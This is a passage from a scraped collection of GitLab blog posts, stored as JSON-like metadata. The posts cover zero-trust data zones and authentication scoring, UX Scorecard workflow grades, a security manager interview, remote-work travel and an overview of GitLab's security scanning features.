[moving data either via automated or manual means, and data being transformed](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/). Where the data is stored should reflect the classification.\n\nThe immediate challenge with regards to data access is when data that is considered RED or ORANGE is stored on a system that has limited access controls, and granting granular access isn’t possible. In other words, we need to define zones where multiple classes of data may reside on a system that is unable to provide separation of access controls based upon our own data classification. The most common scenario will be either a legacy system or a system developed outside of our control, such as a SaaS company offering.\n\nWe’ve defined four zones that match the data classifications, and named them after the colors of the data classification:\n\n* RED ZONE for RED and lower data\n* ORANGE ZONE for ORANGE and lower data\n* YELLOW ZONE for YELLOW and lower data\n* GREEN ZONE for GREEN (this may not be needed as it is the lowest classification)\n\nIn general, the zones apply to data at rest. Data in transit, either transitioning in system memory between subsystems or transferred over a network between systems, defaults to RED ZONE since access at that level is considered critical. Therefore the ability to access systems at a low enough level to examine RAM or monitoring calls between systems is definitely considered the highest level of restriction, and data moving between systems is subject to the highest levels of encryption.\n\n### Here are the basic rules for a zone:\n\n* A zone can contain its own “color” of data or lower, not higher.\n* A zone will not allow access to a lower “color” of data within its boundaries without authorization to access the highest designation of “color” for that zone.\n* The boundaries of a zone are defined by the access controls specific to that zone.\n\nTo illustrate, if a YELLOW ZONE is set up to contain YELLOW data, it cannot contain RED or ORANGE. And while it can contain GREEN data, team members with access to GREEN cannot access that data while it resides in the YELLOW ZONE. **In essence, each zone where data resides must have controls that consider what data they might possibly contain.**\n\nTo explain this further, let’s say that there is a database that contains ORANGE and YELLOW data within it, but the controls in place are not granular – access to the database means access to all of the data contained within it. Therefore this database would be considered ORANGE ZONE, and those with access to only YELLOW data could not be allowed access that data in this database because it is in ORANGE ZONE.\n\n## Authentication scoring\nThere will be a scoring system for access to data, where a team member is ranked. This isn’t so much an actual system for points, but more of a reference guide on what it takes to be able to access different data.\n\n![Authentication scoring reference guide](https://about.gitlab.com/images/blogimages/authentication-scoring.png){: .shadow.small.center}\n\n### The earning of points is as follows:\n\n#### Basic access\n\nOne point for basic authentication. This gets you access to the GREEN ZONE and GREEN data.\n\n#### Basic access with U2F\n\nOne point if second factor authentication comes through the proper channel (for GitLab team members that is Okta with approved MFA, such as U2F). Two points are required to access the YELLOW ZONE and YELLOW data, so this, coupled with the previous one point for authentication, allows the access.\n\n#### Managed device\n\nOne more point if the authentication comes via a managed device (a device GitLab has issued to the team member). This is sufficient to allow access to ORANGE ZONE and ORANGE data.\n\n#### Healthy managed device\n\nIf the managed device is in proper health (passes checks for patches, proper configuration, etc) an additional point is given, which allows access to the RED ZONE and RED data. This is not to imply that we will allow “unhealthy devices” to access ORANGE data (for example), but that the requirement is strictly enforced for RED ZONE and RED data.\n\n#### Geolocation\n\nA final point is given for a managed device with proper health from proper geolocation (this is dependent on the particular RED data being accessed). There may be a requirement that specific data can only be accessed from specific countries, and this is to account for that.\n\n## A summary and what’s next\nIt should be apparent at this point we have a fairly complex situation to administer. We do protect our data but we want more granular control over the access to the data. In a lot of organizations, administrators will end up denying access to parts of their system to employees, and end up having to export portions of the data to those denied access. Additionally, sometimes administrators will grant too much access to employees who simply need to access small segments and do not need the full access.\n\n**At GitLab we not only want to avoid that, but we want to document, log, and automate as much of the granular control as possible. This makes other challenges such as onboarding, offboarding, provisioning of access devices, auditing, and other processes much easier. And if it is easier on both the team member and the administrators managing the systems, full adoption is much simpler. The last thing GitLab wants to do is to prevent or curtail the rapid growth we are experiencing.**\n\nDesigning data zones and coming up with an authentication method to gain access to the data in its zone will help clarify how we want to approach some of the challenges. We have a decent start, but to fully explain how they will need to be applied, we’ll go into a lot more detail in the next post. We’ll also discuss some specific ways to address challenges involving our infrastructure, including the role of managed devices.\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [fabio](https://unsplash.com/@fabioha?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[676,674,6141],{"slug":27527,"featured":6,"template":678},"zero-trust-at-gitlab-data-zones-and-authentication-scoring","content:en-us:blog:zero-trust-at-gitlab-data-zones-and-authentication-scoring.yml","Zero Trust At Gitlab Data Zones And Authentication Scoring","en-us/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring.yml","en-us/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring",{"_path":27533,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27534,"content":27540,"config":27545,"_id":27547,"_type":16,"title":27548,"_source":17,"_file":27549,"_stem":27550,"_extension":20},"/en-us/blog/refining-gitlab-product-experience",{"title":27535,"description":27536,"ogTitle":27535,"ogDescription":27536,"noIndex":6,"ogImage":27537,"ogUrl":27538,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27538,"schema":27539},"What we're doing to refine GitLab's product experience","How we're using UX Scorecards to improve GitLab's UX.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673002/Blog/Hero%20Images/blog-experience-baselines.jpg","https://about.gitlab.com/blog/refining-gitlab-product-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we're doing to refine GitLab's product experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2019-09-05\",\n      }",{"title":27535,"description":27536,"authors":27541,"heroImage":27537,"date":27542,"body":27543,"category":299,"tags":27544},[19691],"2019-09-05","\nGitLab is investing deeply in improving our user experience. Need proof? By the end of 2019, our team\nof product designers, UX researchers, and technical writers will be around 60 practitioners strong.\nThat's incredible growth for a company of our size.\n\nWhen I joined GitLab as the director of user experience back in February 2019, one of the\nstated goals was to move our team from being \"reactive\" (responding to UX requests) to being\n\"proactive\" (actively finding and solving UX problems and advocating for change). I was impressed to\nsee this perspective from our executive leadership. It's surprising how often user experience gets\nput on the backburner, despite its positive impact on customer satisfaction and company growth.\n\nBut while intentions are good, they're useless without action. So, the UX team quickly got to work to\nfigure out how we could make meaningful change.\n\n## Proactively improving UX\n\nHistorically, GitLab has focused its efforts on developing new features. With a new emphasis on\nrefining our most common and critical workflows, we needed a new approach.\n\nEnter [UX Scorecards](/handbook/product/ux/ux-scorecards/): An initiative\nby which we evaluate the current experience with quick, iterative steps to make it better,\nincluding a built-in grading rubric that helps us to properly prioritize efforts and track progress over time.\n\nUsing this methodology, we're:\n\n* Working with product managers to identify the most common and critical workflows in our product\n* Analyzing each workflow to see where it works well... and where it doesn't\n* Documenting the existing experience in videos and user journeys\n* Grading the experience on an A/B/C/D/F scale\n* Creating issues with recommendations for the proposed experience\n* Working with product management to prioritize improvements\n\nIt's a highly proactive way of moving our user experience forward.\n\n## What have we done so far?\n\nDuring Q2 of calendar year 2019, we committed to\nan OKR that focused on [working\nclosely with our product management peers to identify 15 critical workflows](https://gitlab.com/gitlab-com/www-gitlab-com/issues/4354), also\ncalled \"Jobs to be Done,\" across our entire application. This valuable, lightweight effort\nsurfaced opportunities to improve day-to-day workflows and proved out a pattern we can\napply to future workflows.\n\nHere's how we defined our grading rubric:\n\n* **A (High Quality/Exceeds):** Workflow is smooth and painless. Clear path to reach a goal.\nCreates “Wow” moments due to the process being so easy. Users would not hesitate to go through the\nprocess again.\n* **B (Meets Expectations):** Workflow meets expectations but does not exceed user needs. Users are\nable to reach the goal and complete the task. Less likely to abandon.\n* **C (Average):** Workflow needs improvement, but users can still finish completing the task. It\nusually takes longer to complete the task than it should. Users may abandon the process or try again later.\n* **D (Presentable):** Workflow has clear issues and should not have gone into production without more\nthought and testing. Users may or may not be able to complete the task. High risk of abandonment.\n* **F (Poor):** Workflow leaves users confused and with no direction of where to go next. Can sometimes\ncause users to go around in circles or reach a dead end. Very high risk of abandonment, and users\nwill most likely seek other methods to complete the task.\n\n## What workflows did we focus on?\n\nAs mentioned above, we focused first on the most used and highly impactful workflows in the product.\nOver time, we'll continue to add to this list.\n\n### Workflows with a score of C\n\n* Sign-in/register for a GitLab account **C/C** (desktop/mobile)\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=AbP9aAbW1zI)\n  * [Improvement Recommendations](https://gitlab.com/gitlab-org/ux-research/issues/217)\n* Create a Merge Request: **C/D** (desktop/mobile)\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=WOdqw_z2dwE)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/441)\n* Review changes: **C**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=CShQ0JA_BA0)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/442)\n* Identify and troubleshoot performance issues: **C**\n  * [UX Scorecard Video](https://youtu.be/nUdSqrvWeiA)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-ee/issues/11713)\n* Add my existing Kubernetes cluster: **C-**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=xAi9u2eqrSk&t=7s)\n  * [Recommendation Issues](https://gitlab.com/groups/gitlab-org/-/epics/1380)\n* Understand dependencies: **C**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=XyEf0E1e8ns)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/449)\n* Deploy to Gitlab Pages: **C**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=WiVq7pQ0RMg)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/412)\n* Set up automated testing inside GitLab: **C**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=MOJn9JQEE2s)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/480)\n\n### Workflows with a score of D\n\n* Start a GitLab trial: **D-**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=MkTOwTxsoL8)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/ux-research/issues/285)\n* Receive and configure Issue notifications and To-Do items: **D+**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=gILgNANrIhg)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design#520)\n* Have awareness of adding risk through vulnerable code: **D**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=By0td9kVsOU)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/400)\n* See security vulnerabilities all in one location for prioritization: **D**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=w623fSysQzE)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/401)\n* Approve or blacklist new licenses: **D**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=TDcIN7lu7dk)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/402)\n\n### Workflows with a score of F\n\n* Analyze the productivity of a team: **F**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=ipkmlW_GQig)\n  * [Recommendation Issues](https://gitlab.com/groups/gitlab-org/-/epics/1454)\n* Create a release and update it: **F**\n  * [UX Scorecard Video](https://www.youtube.com/watch?v=wCnpEGhS8uk)\n  * [Recommendation Issues](https://gitlab.com/gitlab-org/gitlab-design/issues/431)\n\n## What's next?\n\nOne of our [OKRs for Q3 of calendar year 2019](https://gitlab.com/groups/gitlab-org/-/epics/1676) is to\nimprove seven of these workflows by one grade letter. That means we should soon have some \"B\" grades\nmixed in with the lower scores. We also intend to validate our scores with user research since\nthis initial effort focused on\na [heuristic evaluation](https://careerfoundry.com/en/blog/ux-design/what-is-a-heuristic-evaluation-in-ux/).\n\nAt the beginning of Q3, our Product team has already prioritized refining\nthe [GitLab.com Free Trial](https://gitlab.com/groups/gitlab-org/-/epics/377) experience. They've\nalso committed to improvements for adding an existing Kubernetes cluster.\n\nWe're excited to work with our product team to prioritize refining other parts of the product\nthat are important to users. This effort should help move us closer to our goal of providing\nan [elevated user experience that customers love](/direction/maturity/index.html).\n\nCover image by [Startae](https://unsplash.com/@startaeteam) on [Unsplash](https://unsplash.com/license)\n{: .note}\n",[2249,2250],{"slug":27546,"featured":6,"template":678},"refining-gitlab-product-experience","content:en-us:blog:refining-gitlab-product-experience.yml","Refining Gitlab Product Experience","en-us/blog/refining-gitlab-product-experience.yml","en-us/blog/refining-gitlab-product-experience",{"_path":27552,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27553,"content":27559,"config":27563,"_id":27565,"_type":16,"title":27566,"_source":17,"_file":27567,"_stem":27568,"_extension":20},"/en-us/blog/the-difference-transparency-makes-in-security",{"title":27554,"description":27555,"ogTitle":27554,"ogDescription":27555,"noIndex":6,"ogImage":27556,"ogUrl":27557,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27557,"schema":27558},"The difference transparency makes in security","What happens when you lift the veil around security?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670826/Blog/Hero%20Images/orlova-maria-EF6z_6R94zQ-unsplash.jpg","https://about.gitlab.com/blog/the-difference-transparency-makes-in-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The difference transparency makes in security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-09-05\",\n      }",{"title":27554,"description":27555,"authors":27560,"heroImage":27556,"date":27542,"body":27561,"category":18484,"tags":27562},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\n***We sat down with manager of strategic security, Robert Mitchell to talk about the impact of human error, the exponential benefits of transparency in security and more.***\n\n---\n\n![Robert Mitchell Headshot](https://about.gitlab.com/images/blogimages/rmitchell.png){: .small.right.wrap-text} **Name:** Robert Mitchell\n\n**Title:** Manager, [Strategic Security](/handbook/security/#strategic-security)\n\n**How long have you been at GitLab?** I started in November 2018\n\n**GitLab handle:** [@gitlab-rmitchell](https://gitlab.com/gitlab-rmitchell)\n{: #tanuki-orange}\n\n**Connect with Robert:** [LinkedIn](https://au.linkedin.com/in/robert-mitchell-877472/)\n\n\n\n#### Tell us what you do here at GitLab:\nStrategic Security focuses on pro-active measures at scale that improve the security of GitLab for the company, the product or our customers. I develop and lead projects that improve or expand the security department’s capability to deliver a secure and reliable service. I also manage the security automation, threat intelligence and field security teams. \n\n#### What’s the most challenging or rewarding aspect of your role?\nGitLab moves so fast, every day is an adventure. I am constantly humbled and amazed at the level of talent within the company, and the energy that people bring to the table each day with the things they want to do. It’s immensely rewarding to me to be able to respond to our constant iterations, adding my own perspectives and experiences, and to be a part of the growth here. My biggest challenges are just keeping up with it all, for while GitLab is leading the world in managing remote work, timezones are difficult in any global organization, and working from Sydney, Australia means that the number of shared working hours I have with teams in the Americas and Europe is limited. \n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\nI’ve been heavily involved in driving our [Zero-Trust Networking](https://about.gitlab.com/handbook/security/#zero-trust) initiative since starting at GitLab. The biggest area I’ve managed personally has been around our identity management and SaaS management processes. Identity and authentication are critical to us as an all-remote company - all our endpoint assets are remote and all our data is hosted in the cloud, so traditional infrastructure security controls don’t really apply to our security model. Therefore, ensuring that we have a strong and consistent method to identify users and ensure that we have visibility of where our data is critical to our business. Our [Zero Trust blog post series](/blog/evolution-of-zero-trust/) makes great reading on our progress. \n\n#### How did you get into security? \nI was on the periphery of the BBS scene in Australia in the late 80s/early 90s in Australia. While not involved in any of the shenanigans detailed in [Suelette Dreyfus’s excellent book about that era](http://www.underground-book.net/), the exploits of some of these characters were known to me at the time. I was always curious about what could and couldn’t be done on the Internet, but my formal involvement in IT Security really kicked off when I landed a job at Check Point Software in the late 90s. A lot has changed since the days when Firewalls, VPNs and stateful inspection were the key technologies, but many of the foundational principles from those days are still just as relevant today.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend? \nHuman error is the most significant cause of security problems. So many of the security breaches that have come to pass in recent years inevitably have an element where a person with good intentions has made a decision with dire consequences. So when thinking about Security, don’t just think about the cool hack or the clever technology. Most likely, the vulnerability will be a person who will make the mistake that causes a breach, so everything you can do to educate, inform and remove the potential for the human side of a system to fail will make the greatest difference. \n\nA simple example of this is passwords. A site like [https://haveibeenpwned.com/](https://haveibeenpwned.com/) is a sobering read for how often people don’t set passwords that are effective, and a common human error is using the same password in multiple places, for convenience. Progressively more complicated password policies are not really a good solution here (because users can just come up with a more complex password they re-use everywhere!), but implementing a second authentication factor that is dynamic (e.g. Google Authenticator) is a simple control that is relatively user-friendly, and makes a massive difference to the risk of a breach. \n\n#### From the perspective of your role, what’s GitLab doing better than anyone else in terms of security?\n>Transparency. Security has a tradition of encouraging secrecy and a culture of “need to know” which has discouraged collaboration and sharing of information for a long time. We are now seeing that allowing researchers and practitioners to share data about their knowledge and information has an exponential benefit, and that by being honest and transparent about the risks and problems that we have, we expose the problems more efficiently and ultimately get a better solution. While there is still a need to be responsible with disclosure and ensure that shared information does not expose people to unnecessary risks, GitLab is leading in showing that raising the veil around what is involved in securing a product and service actually results in a better quality product, and enhances trust rather than dilutes it. \n\n#### What do you look forward to the most in security in the next 5 years?\nThere is a definite generational change in the air, with the evolution of Security in DevOps and more people with a coding/automation background getting into the Security space. What interests me particularly, is seeing how those fresh eyes can look at existing challenges around enforcing security controls, and how to use new models to attack age-old problems like large-scale log analysis and intrusion detection and response. In our own team we’re starting some great experiments using machine learning to analyse traffic logs for indicators of abuse, with some great initial successes and an ultimate goal of automating both detection and response of abusive behaviours. From a GitLab perspective, that’s doubly exciting because the learnings we get from this are things that we can feed back into our platform, thus allowing all of our customers to benefit! \n\n#### Is there an area of security research you think deserves more attention? Why?\nI have a strong belief that the human side of security is often neglected by technical teams, and by research. There has been some great research into social engineering within the last 5-10 years, but a lot of it is focused on the offensive side of social engineering, and nowhere near enough on the blue/defense side. Understanding why people make mistakes and course-correcting is an area that I believe is seriously under researched, and in terms of real benefit would make a massive difference to our industry. One of the few papers in this space is [\"The psychology of scams\"](https://webarchive.nationalarchives.gov.uk/20140402205717/http://oft.gov.uk/shared_oft/reports/consumer_protection/oft1070.pdf) (warning, it’s a long read!) but if you know of good work in this area, I’d love to read it.\n\n## Now, for the questions you *really* want to have answered:\n\n\n#### What was the first computer you owned?\nAn Exidy Sorcerer! My father bought it when I was 7 years old. Killer Specs - 32KB (yes, KB!) RAM, Z-80 Processor, 2 (count them!) colours, no sound unless you did the parallel port mod (which we did, of course!). I taught myself BASIC and Assembler programming by copying programs by hand in books and finding all the typos. I still have a soft spot for vintage personal computers, we are spoiled by the amount of power we have available to us these days. \n\n#### Gif or Gif? (Gif vs Jif)\nGif. Obviously… \n\n#### What’s your favorite season?\nWinter. I love the cold, although Australian winters are pretty mild in comparison to other parts of the world. If I had to dig myself out of several feet of snow every day, I might change my mind!\n\n#### What is that one food, you cannot live without?\nI’m a pretty massive foodie, and particularly love South East Asian food (Malay, Thai, Indonesian). Making me choose one food is too hard, but a world without Beef Randang, Nonya dishes and Thai Curries is too sad to contemplate….\n\n#### When you’re not working, what do you enjoy doing/how do you spend your free time?\nI like to get out on my motorbike and go touring when time permits. The freedom of an open country road or a hill/mountain with a great twisty road is one of life’s great pleasures. It’s also a great way to meet interesting people and share their stories. \n\n\nPhoto by [Orlova Maria](https://unsplash.com/@orlovamaria?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}",[7715,676,674,674],{"slug":27564,"featured":6,"template":678},"the-difference-transparency-makes-in-security","content:en-us:blog:the-difference-transparency-makes-in-security.yml","The Difference Transparency Makes In Security","en-us/blog/the-difference-transparency-makes-in-security.yml","en-us/blog/the-difference-transparency-makes-in-security",{"_path":27570,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27571,"content":27577,"config":27582,"_id":27584,"_type":16,"title":27585,"_source":17,"_file":27586,"_stem":27587,"_extension":20},"/en-us/blog/not-all-remote-is-created-equal",{"title":27572,"description":27573,"ogTitle":27572,"ogDescription":27573,"noIndex":6,"ogImage":27574,"ogUrl":27575,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27575,"schema":27576},"Not all remote is created equal","How GitLab's all-remote culture is allowing me to travel the world for four months.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679071/Blog/Hero%20Images/padang_padang_beach_bali.jpg","https://about.gitlab.com/blog/not-all-remote-is-created-equal","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Not all remote is created equal\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erich Wegscheider\"}],\n        \"datePublished\": \"2019-09-04\",\n      }",{"title":27572,"description":27573,"authors":27578,"heroImage":27574,"date":27579,"body":27580,"category":6634,"tags":27581},[25528],"2019-09-04","\nIn early 2016, I left the office and started working remotely. I moved to Colorado, set up a home office and… basically worked from there. Given my employment arrangements, the romantic notion of being able to work from anywhere wasn’t a reality. At best, I could enjoy the benefits of a few extra long weekends by working a Monday or Friday from wherever I was.\n\n## When remote work doesn't work\n\nAfter working remotely for a year and a half, I went to Europe for a few weeks with the intention of staying up to date on work. That was a disaster due to being tethered to Pacific Time; team alignment made for odd working hours, my managers weren’t pleased with said working hours, I hardly slept, and came back more in need of a vacation than when I left.\n\nAnother detractor to working remotely was that it wasn’t conducive to my career development. Given that my colleagues worked at the office in California, the opportunity to lead or manage a team wasn’t presented, given my desire for location independence.\n\nSure, I was “remote,” but the reality was that I worked in the equivalent of a satellite office by myself. Simply put, all-remote work wasn’t a part of the company culture at either place I worked.\n\nIt wasn’t all bad, though. On the bright side, I eliminated a commute.\n\n## Decisions, decisions\n\nDespite being prone to wanderlust, I contemplated whether or not remote work was actually something I wanted to continue pursuing. In my experience, it had been more challenging than rewarding, so the topic warranted reconsideration.\n\nWhen the offer to work at GitLab was presented, I dropped everything and said, “Yes!” It was a make-or-break moment for my remote endeavors, and it was an all-around great opportunity. All-remote is baked into GitLab's [manifesto](/company/culture/all-remote/#the-remote-manifesto), shapes our [communication strategy](/handbook/communication/), and is seen as the method for practicing our [values](https://handbook.gitlab.com/handbook/values/#what-is-not-a-value). GitLab's company culture plus our anticipated headcount growth (I work in Talent Operations) made this an unmissable opportunity. All things considered, GitLab sounded almost too good to be true: A chance to grow and develop professionally while also being given the freedom to travel, so long as I’m producing results. So, if that was the reality of working at GitLab, then I planned on experiencing true all-remote work firsthand, and soon!\n\n## Taking action\n\nFast forward four months and I found myself in conversation about global co-working/co-living spaces. I had done research about companies that offered such arrangements, like the [WiFi Tribe](https://wifitribe.co), so when I brought them up as a resource to list on a company page, the resounding response was, “Go!” and “Do it!”\n\nWhen I broached the subject with my manager during a 1:1 and mentioned prospective locations, his face immediately lit up with excitement and he exclaimed, “That’s awesome! I’m so excited for you!” Still getting used to GitLab’s culture, I quickly noted the 12-15 hour time difference between my desired locations and the U.S. (most of my teammates and vendors I work with live stateside) with an air of defeatism, as if to refute the overwhelming encouragement I’d just received. But I was met with more encouragement to go for it, so I started planning.\n\n## Present reality\n\nAs I write this, I’m in the [beach town of Canggu](http://www.bali-indonesia.com/canggu/), nestled on Bali’s southern shore. I’ll be here for five weeks before moving onto other locations across four continents in four months. Such a trip with any of my previous employers would have put me at a career crossroads. I could either quit and just travel – while pausing my professional development – or put my travel ambitions on hold for the foreseeable future.\n\n![What co-working in Bali looks like](https://about.gitlab.com/images/blogimages/baliworkspace.png){: .shadow.left.wrap-text}\n\nInstead, I’m immersed in a community of passionate remote professionals and entrepreneurs with the WiFi Tribe. I've been gone for two weeks as of writing this post, and this experience has brought a whole new dynamic to my life. The days feel more vibrant, connected, and fulfilling. Often, small groups of the tribe go from cafe to cafe (or co-working space to co-working space) balancing the art of results-oriented work with taking the time to appreciate our surroundings. We gather for long lunches, plan weekend adventures, play impromptu beach volleyball at sunset, or just gather around the pool at night to get to know one another.\n\nCompared to life at home, where after-work get-togethers felt harder and harder to facilitate, I’m finding a greater sense of intention and community. Without the foundation of an all-remote culture, this simply wouldn’t be possible – I’d still be standing at a career crossroads.\n\nIn the time that I’ll be traveling, GitLab is expected to increase its headcount by approximately 32%. I work on the Talent Operations team, so there will be plenty of things to keep me busy as we grow. While it’s still early in my time at GitLab and this trip is just beginning, my faith in all-remote work has been restored.\n\nIn a sense, this whole opportunity kind of feels like having your cake and eating it too.\n",[3798],{"slug":27583,"featured":6,"template":678},"not-all-remote-is-created-equal","content:en-us:blog:not-all-remote-is-created-equal.yml","Not All Remote Is Created Equal","en-us/blog/not-all-remote-is-created-equal.yml","en-us/blog/not-all-remote-is-created-equal",{"_path":27589,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27590,"content":27596,"config":27601,"_id":27603,"_type":16,"title":27604,"_source":17,"_file":27605,"_stem":27606,"_extension":20},"/en-us/blog/developers-write-secure-code-gitlab",{"title":27591,"description":27592,"ogTitle":27591,"ogDescription":27592,"noIndex":6,"ogImage":27593,"ogUrl":27594,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27594,"schema":27595},"4 Ways developers can write secure code with GitLab","GitLab Secure is not just for your security team – it’s for developers too. Learn four ways to write secure code with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666895/Blog/Hero%20Images/developers-write-secure.jpg","https://about.gitlab.com/blog/developers-write-secure-code-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Ways developers can write secure code with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-09-03\",\n      }",{"title":27591,"description":27592,"authors":27597,"heroImage":27593,"date":27598,"body":27599,"category":8943,"tags":27600},[22656],"2019-09-03","\nWriting secure code is a standard part of day-to-day development work, but\nsecurity often appears to be a roadblock instead of a critical piece of the\npuzzle. To make security efforts easier, [GitLab Secure](/stages-devops-lifecycle/secure/)\noffers a number of different tools that help developers identify and remediate vulnerabilities\nwithin their code, _as they’re writing it_. Our goal is to seamlessly integrate\nsecurity into your code writing practices so you’re better able to protect\nyour business from growing cybersecurity threats.\n\n## Testing\n\nThere are a variety of testing tools available to developers within GitLab.\nGenerally, they alert developers to vulnerabilities within their code and report\nthem within the merge request so developers can adjust their code as they\ngo. In addition to the testing methods outlined below, developers can also [use\nother tools outside of GitLab](https://handbook.gitlab.com/handbook/product/gitlab-the-product/#plays-well-with-others) by integrating\nthe results of your scanners with our merge request security reports.\n\n### Static application security testing\n\nOur [static application security testing](https://docs.gitlab.com/ee/user/application_security/sast/index.html)\n(SAST) tool scans the application source code\nand binaries to spot potential vulnerabilities before deployment. It uses open\nsource tools that are installed as part of GitLab. Vulnerabilities are shown\nin-line with every merge request and results are collected and presented as a\nsingle report.\n\n### Secret detection\n\n[Secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection)\nwithin GitLab is able to detect secrets and credentials that\nhave been unintentionally pushed to the repository. This check is performed by\na specific analyzer during the SAST job, runs regardless of the programming\nlanguage of your app, and displays results within the SAST report.\n\n### Dynamic application security testing\n\nOur [DAST tool](https://docs.gitlab.com/ee/user/application_security/dast/index.html)\nanalyzes your web application for known runtime\nvulnerabilities. It conducts live attacks against a review app and can be created for every\nmerge request as part of GitLab’s [CI/CD capabilities](/topics/ci-cd/). Users can provide HTTP\ncredentials to test private areas. Vulnerabilities are shown in-line with every\nmerge request.\n\n### Dependency scanning\n\n[Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html)\nanalyzes external dependencies (e.g. libraries like Ruby gems) for known\nvulnerabilities on each code commit with GitLab CI/CD. This scan relies on open\nsource tools and on the integration with [Gemnasium](https://docs.gitlab.com/ee/user/project/import/index.html)\ntechnology (now part of\nGitLab) to show, in-line with every merge request, vulnerable dependencies\nin need of updating. Results are collected and available as a single report.\nDependency scanning also provides a list of your project’s dependencies with\ndifferent versions for languages and package managers supported by Gemnasium.\n\n### Container scanning\n\nIf you’re using GitLab CI/CD, [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html)\nwill let you check Docker images (and containers) for\nknown vulnerabilities in the application environment. Analyze image contents\nagainst public vulnerability databases using the open source tool, [Clair](https://coreos.com/clair/docs/latest/),\nthat\nis able to scan any kind of Docker (or app) image. Vulnerabilities are shown\nin-line with every merge request.\n\n### License management\n\nUpon code commit, project dependencies are reviewed for [approved and blacklisted\nlicenses](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html)\ndefined by custom policies per project. Software licenses are\nidentified if they are not within policy, and new licenses are also listed if\nthey require a status designation. This scan relies on an open source tool,\nLicenseFinder, and license analysis results are shown in-line for every merge\nrequest for immediate resolution.\n\n### Code quality analysis\n\nWith the help of GitLab CI/CD, you can analyze your source code quality using\nGitLab [Code Quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html).\nCode Quality uses [Code Climate Engines](https://codeclimate.com/)\nand runs in pipelines using a Docker image built into the Code Quality\nproject. Once the\nCode Quality job has completed, GitLab checks the generated report, compares the\nmetrics between the source and target branches, and shows the information\nwithin the merge request. With pipelines that enable concurrent testing and\nparallel execution, teams quickly receive insight about every commit, allowing\nthem to deliver higher quality code faster.\n\n### The Security Dashboard\n\nSecurity dashboards in GitLab exist at both the project and group level. The\ngroup dashboard provides an overview of all the security vulnerabilities in your\ngroups and projects. In the dashboard, developers are able to drill down into a\nvulnerability for further details, see which project it comes from and the file\nit’s in, and view various metadata to help analyze the risk.\n\nThe dashboard also allows viewers to\n[interact with vulnerabilities](https://docs.gitlab.com/ee/user/application_security/index.html#interacting-with-the-vulnerabilities)\nby creating an issue for them or dismissing them. For ease of use, vulnerabilities\nwithin the group Security Dashboard can be filtered by severity, confidence, report type, and project.\n\nIn addition to the vulnerability overview, the group Security Dashboard also\nprovides a timeline that displays how many open vulnerabilities your projects\nhad at various points in time. While security scans are automatically run for\neach code update, you’ll have some default branches that are infrequently\nupdated. To keep your Security Dashboard up to date on those branches, you can\nuse GitLab to [configure a scheduled pipeline](https://docs.gitlab.com/ee/ci/pipelines/schedules.html)\nto run a 